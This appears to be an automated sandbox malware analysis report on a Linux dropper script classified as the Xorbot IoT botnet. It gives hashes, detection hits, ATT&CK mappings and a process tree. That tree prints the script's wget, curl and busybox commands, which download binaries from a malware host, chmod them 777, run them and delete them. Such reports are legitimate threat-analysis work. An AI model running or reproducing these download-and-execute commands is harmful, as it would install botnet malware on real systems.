xorbot | d3d3f91578e875f1bf3302e63df0e3d51179d6f4e0c3cdcdc4fd7eef1027fc81

Analysis

max time kernel
28s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/02/2025, 12:43

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General

Target

BZTS9_bins.sh
Size

10KB
MD5

5f5a8beaeee13fdd7a462ebf3797535c
SHA1

982824d6165ed0668b25d6765b631170fc8bbd1d
SHA256

d3d3f91578e875f1bf3302e63df0e3d51179d6f4e0c3cdcdc4fd7eef1027fc81
SHA512

1569973908da43ee2f414331f4f81ec6106545ec4140272be439351c81bf2e2b27877e9e444c1e7290f195510f59b475de7885999bcc273392e0a0a778b7f01a
SSDEEP

96:YokU5Utt6LLnXIEgLsXasZeEINqKqCqE5FJLeOILQAQ8Q8rLNL04hyK1mZEZIZZy:75tgd4t/NYQ3SuaZNnEb7YQ3Su4ZNnY

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1504	chmod
1512	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	1505	BZTS9_bins.sh
/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	1513	BZTS9_bins.sh

System Network Configuration Discovery 1 TTPs 9 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1480	wget
1493	curl
1503	busybox
1511	busybox
1516	wget
1517	curl
1519	busybox
1508	wget
1509	curl

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X	wget
File opened for modification	/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X	curl
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	wget
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	curl
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	wget
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	curl

/tmp/BZTS9_bins.sh
/tmp/BZTS9_bins.sh
1⤵
- Executes dropped EXE
PID:1478
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1479
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1480
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1493
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - System Network Configuration Discovery
  PID:1503
- /bin/chmod
  chmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  ./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  PID:1505
- /bin/rm
  rm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  PID:1507
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1509
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - System Network Configuration Discovery
  PID:1511
- /bin/chmod
  chmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - File and Directory Permissions Modification
  PID:1512
- /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  ./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  PID:1513
- /bin/rm
  rm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  PID:1515
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1516
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1517
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - System Network Configuration Discovery
  PID:1519

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit